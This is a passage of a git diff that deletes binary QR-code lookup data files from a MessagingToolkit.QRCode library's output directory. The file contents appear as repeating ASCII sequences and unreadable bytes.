,+*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - - ttssrrqq EEFFGGHHFFEEDDCC..//0011UTSRQQPPddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322))**++,,XXWWQQPPopqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//ddccbbaa - - kkqqrrss<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBppoonnmmIIJJKKLLBBAA@@??22334455OONNMMLLhhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..--..//00OONNMMLLttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233``__^^]] ttttssrr@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>llkkjjiiMMNNOOPP>>==77666677==>>KKJJIIHHllmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**11223344KKJJIIHHqqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677\\[[ZZYYqqponmlkDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::hhggffeeQQRRSSTT55443322??@@AABBGGFFEEDDppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&556677==GGFFEEDD !"##$mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;XXWWQQPPkjjiihhg HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ddccbbaa UUVVWWXX1100//..CCDDEEFFCCBBAA@@ !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##"">>??@@AACCBBAA@@$%%&&''(iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??OONNMMLLgffeeddc - - LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##``__^^]] - - YYZZ[[\\--,,++**GGHHIIJJ??>>==<;$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! BBCCDDEE??>>==77())**++,eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCKKJJIIHH##$$cbbaa``_PPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''\\[[ZZYY - - ]]^^__``))((''&&KKLLMMNN:9877665(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonnFFGGHHII66554433,--..//0aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGGGFFEEDD%%&&''((_^^]]\\[TTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++XXWWVVUU aabbccdd%%$$##OOPPQQWW54433221,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjjJJKKLLMM221100//01122334]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKCCBBAA@@))**++,,[ZZYYXXWXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//TTSSRRQQeeffgghhXXYYZZ[[100//..-00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggffNNOOPPQQ..--,,++45566778YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOO??>>==77--..//00WVUTSRQQ - - \\]]^^__99887766ppqqrrss%%$$##""00112233ddeeffggPPOONNMMiijjkkll\\]]^^__-,,++**)44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbWWXXYYZZ**))((''9:;<==>>UUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSS6655443311223344PPOONNMM ``aabbcc55443322 !!""##ttttssrr!! 44556677hhiijjkkLLKKJJIImmnnoopp``aabbcc)((''&&%8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -[[\\]]^^&&%%$$##??@@AABBQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWW221100//556677==LLKKJJIIddeeffgg1100//..$$%%&&''qqppoonn8899::;;llmmnnooHHGGFFEE qqrrsstt ddeeffgg%$$##"! <<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ __``aabbCCDDEEFFMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[..--,,++>>??@@AAHHGGFFEEhhiijjkk--,,++**(())**++mmllkkjj<<==>>??ppqqrrssDDCCBBAA!!""##$$ttssrrqq - - hhiijjkk@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVccddeeffGGHHIIJJIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__**))((''BBCCDDEEDDCCBBAAllmmnnoo))((''&&,,--..//iihhggff@@AABBCCttttssrr@@??>>==%%&&''((kkjjiihh - - qqrrssttDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRgghhiijjKKLLMMNNEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc&&%%$$##FFGGHHII@@??>>==ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGqqppoonn<<;;::99))**++,,ggffeedd ttssrrqqHHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONN - - kkqqrrssOOPPQQRSAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffggJJKKLLMM<;:98776 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKmmllkkjj88776655--..//00ccbbaa``ponmlkkjLLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ ttttssrr - -TUVWWXXY==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkkNNOOPPQQ65544332$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOiihhggff4433221111223344__^^]]\\jiihhggf PPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFFqqkkjjii YZZ[[\\]99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnooWWXXYYZZ21100//.(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSeeddccbb00//..--55667788[[ZZYYXXfeeddccb - - TTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBhhggffee]^^__``a55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss[[\\]]^^.--,,++*,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWaa``__^^,,++**))99::;;<>ddccbbaa abbccdde1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr - -__``aabb*))((''&00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[]]\\[[ZZ((''&&%%==>>??@@NNMMLLKK&&''(())^]]\\[[Z - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::##$$``__^^]] - - effgghhi--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqkkjjii ccddeeff&%%$$##"44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__YYXXWWVV$$##""!!AABBCCDDJJIIHHGG**++,,--ZYYXXWWV ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766%%&&''((\\[[ZZYYijjkklmn))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++hhggffeegghhiijj! 8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbccUUTTSSRRQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&556677==GGFFEEDD !"##$mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;PPOONNMM$$%%&&''QQPPOONNMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##"">>??@@AACCBBAA@@$%%&&''(iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??LLKKJJII(())**++MMLLKKJJIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! BBCCDDEE??>>==77())**++,eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCHHGGFFEE,,--..//IIHHGGFFEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonnFFGGHHII66554433,--..//0aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGDDCCBBAA00112233EEDDCCBB !!""##AA@@??>>hhiijjkk--,,++**(())**++mmllkkjjJJKKLLMM221100//01122334]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKK@@??>>==44556677AA@@??>>$$%%&&''==<<;;::llmmnnoo))((''&&,,--..//iihhggffNNOOPPQQ..--,,++45566778YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOO77665544==>>??@@==<<;;::(())**++99887766ppqqrrss%%$$##""00112233eeddccbbWWXXYYZZ**))((''9:;<==>>UUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSS33221100AABBCCDD99887766,,--..//55443322 !!""##ttttssrr!! 44556677aa``__^^ - -[[\\]]^^&&%%$$##??@@AABBQQPPOONNXXYYZZ[[==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWW//..--,,EEFFGGHH55443322001122331100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ __``aabbCCDDEEFFMMLLKKJJ - - \\]]^^__99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[++**))((IIJJKKLL1100//..44556677--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVccddeeffGGHHIIJJIIHHGGFF ``aabbcc55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__''&&%%$$MMNNOOPP--,,++**8899::;;))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRgghhiijjKKLLMMNNEEDDCCBBddeeffgg1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc##QQWWXXYY))((''&&<<==>>??%%$$##""00112233eeddccbbDDEEFFGGQQPPOONN - - kkqqrrssOOPPQQRSAA@@??>>hhiijjkk--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffggZZ[[\\]]%%$$##""@@AABBCC!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ ttttssrr - -TUVWWXXY==<<;;::llmmnnoo))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk^^__``aa!! DDEEFFGG8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFFqqkkjjii YZZ[[\\]99887766ppqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::llmmnnoobbccddeeHHIIJJKK<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBhhggffee]^^__``a55443322 !!""##ttttssrr!! 44556677aa``__^^ - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766ppqqrrss ffgghhiiLLMMNNOO@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>ddccbbaa abbccdde1100//..$$%%&&''qqppoonn8899::;;]]\\[[ZZ LLMMNNOOIIHHGGFF ``aabbcc55443322 !!""##ttllkkjj - - - -iihhggffPPQQRRSSDDEEFFGGQQPPOONNXXYYZZ[[==<<;;::##$$``__^^]] - - effgghhi--,,++**(())**++mmllkkjj<<==>>??YYXXWWVVPPQQRRSSEEDDCCBBddeeffgg1100//..$$%%&&''iihhggff eeddccbbTTUUVVWW - -HHIIJJKKMMLLKKJJ - - \\]]^^__99887766%%&&''((\\[[ZZYYijjkklmn))((''&&,,--..//iihhggff@@AABBCCUUTTSSRRTTUUVVWWAA@@??>>hhiijjkk--,,++**(())**++eeddccbbaa``__^^ - -XXYYZZ[[ LLMMNNOOIIHHGGFF ``aabbcc55443322))**++,,XXWWQQPPopqqrrss%%$$##""00112233eeddccbbDDEEFFGGQQ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pfH~Z|dے`J|ZdQ`f~`ےHAےbHAtbdQZfHXnr˂pZdQbtArd|`f~ےbHAtbdQZtbdQZnvpے`Jے`JXQ|ZdQ`f~ےbHAےbHAtbdQZnvppZHAbQXb㉀ۅf۝`vf۝`vrQtJlXQr˂btlHfpvZp˂Zp˂|drvpfZHAblJtAZdQbHfpvZp˂|dr|drfH~XQr˂rbtbtlHfpvZp˂Zp˂|drfH~ے`JpJAHrXnv˅Xnv˒tbAdpZHAJtArdnXvrXQJ`rXQJ`tAJlH~fے`pZrd|JtArdnXvrXQJ`tAJltAJlf`vXpZHAblJtAdJtArdnXvrXQJ`rXQJ`tAJlf`vXXQr˂ˁ`ZpfH~p|dZ|dے`JXQ|ZdQ`f~ےbHAےbHAtbdQZ`vXnHAbےZdQbtf~`f~ےbHAtbdQZtbdQZnvpے`J|ZdQ|ZdQ`f~ےbHAےbHAtbdQZnvppZHAbQXb㉀ۅf۝`vrQtJlrQtJlrbtbtlHfpvZp˂Zp˂|drvpf`JXQrlJtAHfpvHfpvZp˂|dr|dtAfH~XQr˂btlbtlHfpvZp˂Zdr|drfH~ے`ppJAHQXXnv˒tbAdtbAdZ|mnopqrsttsrqponKKKKKKKKLLLLLLLLLLLLL \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_1.dat deleted file mode 100644 index 6d2446e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_1.dat +++ /dev/null @@ -1,233 +0,0 @@ -tstststststststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghgfefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmlklklklklklklkkklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSRQRQRQQRQRQRQQQRQRQQQQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmkkkkklklkkklklkliiiiiijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbababababababababa`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUTSTSTSTSTSTSTSRQQQQQRQQQQQRQRQQQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklklklklklkljijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:98787878787878787878777656565656565656543434343434343434321212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqrqrqrqrqpopopoponmnmnmnmnmnmnmnmklklklklklklklkljijijijijijijijijijijijihghghghghghghghgfefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;:9:9:9:9:9:9:9877777787777787877878787656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmklklklklklklklkljijijijijijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787887656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!     tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmklklklklklklklkljijijijijijijijijihghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!       tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmklklklkkklklkkkkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQQQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmkkkklklkkklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSQQQQQRQRQQQRQRQRPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9787878787878787865656565656565656565656543434343434343432121212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcbababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:97878787878787877656565656565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,